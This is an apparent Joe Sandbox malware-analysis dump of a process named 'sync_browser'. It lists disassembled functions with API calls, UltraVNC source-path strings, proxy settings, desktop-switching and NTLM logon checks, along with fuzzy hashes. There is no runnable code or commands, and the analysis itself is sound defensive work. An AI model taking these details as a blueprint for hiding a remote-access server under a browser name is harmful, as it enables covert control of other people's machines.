Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorFreeLastLibrary$AddressDeleteDisplayEntriesEnumHeapLoadPaletteProcReleaseSettingsSystem_errnofreemalloc
String ID: l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using mirror video Palette$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using video Palette$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : failed to allocate translation table$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : got %u palette entries$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable called$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable done
API String ID: 181403729-1081969236
Opcode ID: 53fb3c1bb1965282e4da31d922302c79b62d7af4abef1ccc30ce768ea4cf9713
Instruction ID: b7d66a23cdfbadeab87edbd2f3ff6618abb8c3b35da3c8e3a3bc29138901096f
Opcode Fuzzy Hash: 53fb3c1bb1965282e4da31d922302c79b62d7af4abef1ccc30ce768ea4cf9713
Instruction Fuzzy Hash: D5612861A096C981E724BB25F4317F9B790EB54B04FC55037EA4DCB695EE3CD10AC722

Function 00007FF7E5085550 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 162windowCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00007FF7E50855A5

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

Part of subcall function 00007FF7E50870B0: EnumDisplaySettingsA.USER32 ref: 00007FF7E50870F4
Part of subcall function 00007FF7E50870B0: LoadLibraryA.KERNEL32 ref: 00007FF7E5087109
Part of subcall function 00007FF7E50870B0: GetProcAddress.KERNEL32 ref: 00007FF7E508712D
Part of subcall function 00007FF7E50870B0: FreeLibrary.KERNEL32 ref: 00007FF7E50871F2

malloc.LIBCMT ref: 00007FF7E50855AF
GetDC.USER32 ref: 00007FF7E5085611
GetSystemPaletteEntries.GDI32 ref: 00007FF7E508563B
GetLastError.KERNEL32 ref: 00007FF7E5085644
DeleteDC.GDI32 ref: 00007FF7E5085675
ReleaseDC.USER32 ref: 00007FF7E5085682

Strings

l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : got %u palette entries, xrefs: 00007FF7E508564A
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using video Palette, xrefs: 00007FF7E5085603
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : failed to allocate translation table, xrefs: 00007FF7E50855BD
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable called, xrefs: 00007FF7E508557A
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using mirror video Palette, xrefs: 00007FF7E508561C
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable done, xrefs: 00007FF7E508577E

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorFreeLastLibrary$AddressDeleteDisplayEntriesEnumHeapLoadPaletteProcReleaseSettingsSystem_errnofreemalloc
String ID: l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using mirror video Palette$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using video Palette$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : failed to allocate translation table$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : got %u palette entries$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable called$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable done
API String ID: 181403729-1081969236
Opcode ID: 53fd9ebbc342151809572dc5d5c454a9c87e4ee11642373697c9161ead6f8e27
Instruction ID: 6a54c43896500749cb5cf8be16b5a7ad48e0a9a1e2f1a4adc99babe1cb083e9b
Opcode Fuzzy Hash: 53fd9ebbc342151809572dc5d5c454a9c87e4ee11642373697c9161ead6f8e27
Instruction Fuzzy Hash: 0B510762A195C995E725BB39B4707F8A390EB45B44FC4403BF94ECB695DE3CD10AC322

Function 00007FF7E507B030 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

_wgetenv.LIBCMT ref: 00007FF7E507B08C
_wgetenv.LIBCMT ref: 00007FF7E507B05E

Part of subcall function 00007FF7E5129500: _errno.LIBCMT ref: 00007FF7E5129515
Part of subcall function 00007FF7E5129500: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5129520

_wgetenv.LIBCMT ref: 00007FF7E507B0AE
_wgetenv.LIBCMT ref: 00007FF7E507B0DC
inet_ntoa.WS2_32 ref: 00007FF7E507B1C8
free.LIBCMT ref: 00007FF7E507B1D9
free.LIBCMT ref: 00007FF7E507B22C

Strings

SOCKS4_DIRECT, xrefs: 00007FF7E507B049
!, xrefs: 00007FF7E507B14B
SOCKS_DIRECT, xrefs: 00007FF7E507B085, 00007FF7E507B099
CONNECT_DIRECT, xrefs: 00007FF7E507B0D5, 00007FF7E507B0E9
HTTP_DIRECT, xrefs: 00007FF7E507B0A7, 00007FF7E507B0BB
SOCKS5_DIRECT, xrefs: 00007FF7E507B050

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _wgetenv$free$_errno_invalid_parameter_noinfoinet_ntoa
String ID: !$CONNECT_DIRECT$HTTP_DIRECT$SOCKS4_DIRECT$SOCKS5_DIRECT$SOCKS_DIRECT
API String ID: 1123868200-453874877
Opcode ID: f4207ed447fdffa40201c704a00f463fe897cbc6349214418793c6f2e263591f
Instruction ID: a8518619b6fff72471bc123f4aebbf3201f67a1ecad52829d2c9ad9b0bdf6ae8
Opcode Fuzzy Hash: f4207ed447fdffa40201c704a00f463fe897cbc6349214418793c6f2e263591f
Instruction Fuzzy Hash: 6F517125A0978A85EE11BB25E4603B9A790FF94F84F880037EA0D87795FF3CE445C762

Function 00007FF7E5084970 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 77threadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E50849A5
GetCurrentThreadId.KERNEL32 ref: 00007FF7E50849CF
GetThreadDesktop.USER32 ref: 00007FF7E50849D7
GetUserObjectInformationA.USER32 ref: 00007FF7E5084A06
SetThreadDesktop.USER32 ref: 00007FF7E5084A4C
DialogBoxParamA.USER32 ref: 00007FF7E5084A86
SetThreadDesktop.USER32 ref: 00007FF7E5084A8F
CloseDesktop.USER32 ref: 00007FF7E5084A9D

Strings

TextChat.cpp : SelectHDESK:!SetThreadDesktop , xrefs: 00007FF7E5084A56
TextChat.cpp : OpenInputdesktop Error , xrefs: 00007FF7E50849B7
TextChat.cpp : !GetUserObjectInformation , xrefs: 00007FF7E5084A10
TextChat.cpp : SelectHDESK to %s (%x) from %x, xrefs: 00007FF7E5084A2A
TextChat.cpp : OpenInputdesktop OK, xrefs: 00007FF7E50849C3

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseCurrentDialogInformationInputObjectOpenParamUser
String ID: TextChat.cpp : !GetUserObjectInformation $TextChat.cpp : OpenInputdesktop Error $TextChat.cpp : OpenInputdesktop OK$TextChat.cpp : SelectHDESK to %s (%x) from %x$TextChat.cpp : SelectHDESK:!SetThreadDesktop
API String ID: 1907048692-1814171851
Opcode ID: 8163326f654e9061bb90f399b61091b260bb383b6dd3451fd4e367f97eeb259b
Instruction ID: 97d631a6bee099315ed845e96d8ab7bdd55de13b2d6b86ed22d3a37cd801dd0f
Opcode Fuzzy Hash: 8163326f654e9061bb90f399b61091b260bb383b6dd3451fd4e367f97eeb259b
Instruction Fuzzy Hash: A9310E21A08A8A91FA20EB25B8647F5A3A1FF88F45FC45037E94DC7658DF3CD505C762

Function 00007FF7E50A5100 Relevance: 22.7, APIs: 15, Instructions: 242COMMON

Download Yara Rule

APIs

CreateRectRgn.GDI32 ref: 00007FF7E50A51F4
CreateRectRgn.GDI32 ref: 00007FF7E50A52DA
CombineRgn.GDI32 ref: 00007FF7E50A52FA
DeleteObject.GDI32 ref: 00007FF7E50A5303
free.LIBCMT ref: 00007FF7E50A530C
CreateRectRgn.GDI32 ref: 00007FF7E50A53B3
CombineRgn.GDI32 ref: 00007FF7E50A53D3
DeleteObject.GDI32 ref: 00007FF7E50A53DC
CreateRectRgn.GDI32 ref: 00007FF7E50A5405
DeleteObject.GDI32 ref: 00007FF7E50A542E
free.LIBCMT ref: 00007FF7E50A53E5

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

Part of subcall function 00007FF7E51292A4: malloc.LIBCMT ref: 00007FF7E51292C7

CreateRectRgn.GDI32 ref: 00007FF7E50A5456
CombineRgn.GDI32 ref: 00007FF7E50A5476
DeleteObject.GDI32 ref: 00007FF7E50A547F
free.LIBCMT ref: 00007FF7E50A5488

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CreateRect$DeleteObject$Combinefree$ErrorFreeHeapLast_errnomalloc
String ID:
API String ID: 1881577244-0
Opcode ID: 7b57e6a86c69e11d924fc1659c6f441e4a7cff23a46561e18de1fdb13dff7902
Instruction ID: 2b59919685589e4a1810c468926351cff5f703af9f7b38813825684cb1874c7b
Opcode Fuzzy Hash: 7b57e6a86c69e11d924fc1659c6f441e4a7cff23a46561e18de1fdb13dff7902
Instruction Fuzzy Hash: A1A1E672A0868A4ADB20AF25E464B7AB751FB84F88F905136EE0ED3755EF3CD404C721

Function 00007FF7E50800D0 Relevance: 22.6, APIs: 15, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507F840: CreateRectRgn.GDI32 ref: 00007FF7E507F872
Part of subcall function 00007FF7E507F840: CombineRgn.GDI32 ref: 00007FF7E507F88A
Part of subcall function 00007FF7E507F840: CombineRgn.GDI32 ref: 00007FF7E507F89F

GetRgnBox.GDI32 ref: 00007FF7E5080116
OffsetRgn.GDI32 ref: 00007FF7E5080135
SetRectRgn.GDI32 ref: 00007FF7E5080163
CombineRgn.GDI32 ref: 00007FF7E5080179
DeleteObject.GDI32 ref: 00007FF7E5080183
free.LIBCMT ref: 00007FF7E508018D
GetRgnBox.GDI32 ref: 00007FF7E508019A
OffsetRgn.GDI32 ref: 00007FF7E50801AF
SetRectRgn.GDI32 ref: 00007FF7E50801ED
CombineRgn.GDI32 ref: 00007FF7E5080203
DeleteObject.GDI32 ref: 00007FF7E508020D
free.LIBCMT ref: 00007FF7E5080217
GetRgnBox.GDI32 ref: 00007FF7E5080224
DeleteObject.GDI32 ref: 00007FF7E5080242
free.LIBCMT ref: 00007FF7E508024C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Combine$DeleteObjectRectfree$Offset$Create
String ID:
API String ID: 2677898628-0
Opcode ID: 3ee7ecd204df7dd3f615213fc9b16b46c74043faa91b9eb9bd615f088202f8d8
Instruction ID: 73f6a3cb7e7f7e309ad646d1b4ae38ba1431db8f1e945804d28d6da134045023
Opcode Fuzzy Hash: 3ee7ecd204df7dd3f615213fc9b16b46c74043faa91b9eb9bd615f088202f8d8
Instruction Fuzzy Hash: 16418072B1491586FB10EB66E864AAD7330FB84F98B805132DF1E97B68DF38D445C310

Function 00007FF7E509551D Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 293COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E50D5F30: EnterCriticalSection.KERNEL32(?,?,?,00007FF7E5093ABC), ref: 00007FF7E50D5F41
Part of subcall function 00007FF7E50D5F30: LeaveCriticalSection.KERNEL32(?,?,?,00007FF7E5093ABC), ref: 00007FF7E50D5F75

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2

Part of subcall function 00007FF7E50D5F30: LeaveCriticalSection.KERNEL32(?,?,?,00007FF7E5093ABC), ref: 00007FF7E50D5F8C

EnterCriticalSection.KERNEL32 ref: 00007FF7E50955F1
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5095622
InvalidateRect.USER32 ref: 00007FF7E50956E7
LeaveCriticalSection.KERNEL32 ref: 00007FF7E50956FE

Strings

W, xrefs: 00007FF7E50955E4
vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$DesktopEnter$CloseInputInvalidateOpenRect
String ID: W$vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 1769082246-4238595597
Opcode ID: e970080873c8215d67751cf4df8fe2b5e593792b79e840585fb32c8e919cf0fc
Instruction ID: 2575b596ab24926460b2a5bd81e157ee6b73d2b74f8b31c8113b3addb85a0992
Opcode Fuzzy Hash: e970080873c8215d67751cf4df8fe2b5e593792b79e840585fb32c8e919cf0fc
Instruction Fuzzy Hash: 68E1AF32A086C585E760AB39C4687FEB7A1FB85F94F854036EA4C877A9CF38D441C721

Function 00007FF7E5095958 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 266COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E50959AB

Part of subcall function 00007FF7E509C2C0: EnterCriticalSection.KERNEL32 ref: 00007FF7E509C326
Part of subcall function 00007FF7E509C2C0: LeaveCriticalSection.KERNEL32 ref: 00007FF7E509C33B

Strings

vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
X, xrefs: 00007FF7E50959A1
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$Leave
String ID: X$vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 2801635615-1537001432
Opcode ID: 0815a291423a4761241bbe2c4cff846dfa2ae7941a28891a62adbef60b9886ff
Instruction ID: 4e5db0700944667c31b96c9ef9f736e32465d5f31e65167ab444f0475ae47b45
Opcode Fuzzy Hash: 0815a291423a4761241bbe2c4cff846dfa2ae7941a28891a62adbef60b9886ff
Instruction Fuzzy Hash: 4FD1C422A086C585F750AB39C4687FEA7A0FBC5F94F854136EA4C877A9CF38D445C722

Function 00007FF7E50C8080 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E50C9A40: GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C9A92
Part of subcall function 00007FF7E50C9A40: RegOpenKeyExA.ADVAPI32 ref: 00007FF7E50C9AC0

GetModuleFileNameA.KERNEL32 ref: 00007FF7E50C80D1
LoadLibraryA.KERNEL32 ref: 00007FF7E50C811D
GetProcAddress.KERNEL32 ref: 00007FF7E50C8139
CoInitialize.OLE32 ref: 00007FF7E50C8160
CoUninitialize.OLE32 ref: 00007FF7E50C8192
FreeLibrary.KERNEL32 ref: 00007FF7E50C819B

Strings

WARNING, xrefs: 00007FF7E50C81CF
CheckUserPasswordSDUni result=%i, xrefs: 00007FF7E50C8175
\authSSP.dll, xrefs: 00007FF7E50C80FA
vncntlm.cpp : GetProcAddress, xrefs: 00007FF7E50C813F
CUPSD, xrefs: 00007FF7E50C812F
You selected ms-logon, but authSSP.dllwas not found.Check you installation, xrefs: 00007FF7E50C81D6

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressFileFreeInitializeLoadModuleNameOpenPrivateProcProfileUninitialize
String ID: CUPSD$CheckUserPasswordSDUni result=%i$WARNING$You selected ms-logon, but authSSP.dllwas not found.Check you installation$\authSSP.dll$vncntlm.cpp : GetProcAddress
API String ID: 1719662965-904825817
Opcode ID: 49f2f648c281e1af0c21fd0208b7c79f38fee02d2a9911ef4cddafc3a37f6c47
Instruction ID: cf40c82babf57ecda78fa6bc247ec75811cc2b4699aea66d63faf961f96f98af
Opcode Fuzzy Hash: 49f2f648c281e1af0c21fd0208b7c79f38fee02d2a9911ef4cddafc3a37f6c47
Instruction Fuzzy Hash: 51416275A08A8A81F620BB25B8253B9A390FF49F90F844137DD5DC7799DE3CE105C722

Function 00007FF7E50A11E0 Relevance: 19.6, APIs: 13, Instructions: 103windowCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00000000,?,00000000,?,00007FF7E50AC1D6), ref: 00007FF7E50A1206
CreateCompatibleBitmap.GDI32 ref: 00007FF7E50A1221
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00000000,?,00000000,?,00007FF7E50AC1D6), ref: 00007FF7E50A1236
SelectObject.GDI32 ref: 00007FF7E50A1255
DeleteObject.GDI32 ref: 00007FF7E50A1266
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00000000,?,00000000,?,00007FF7E50AC1D6), ref: 00007FF7E50A1273

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
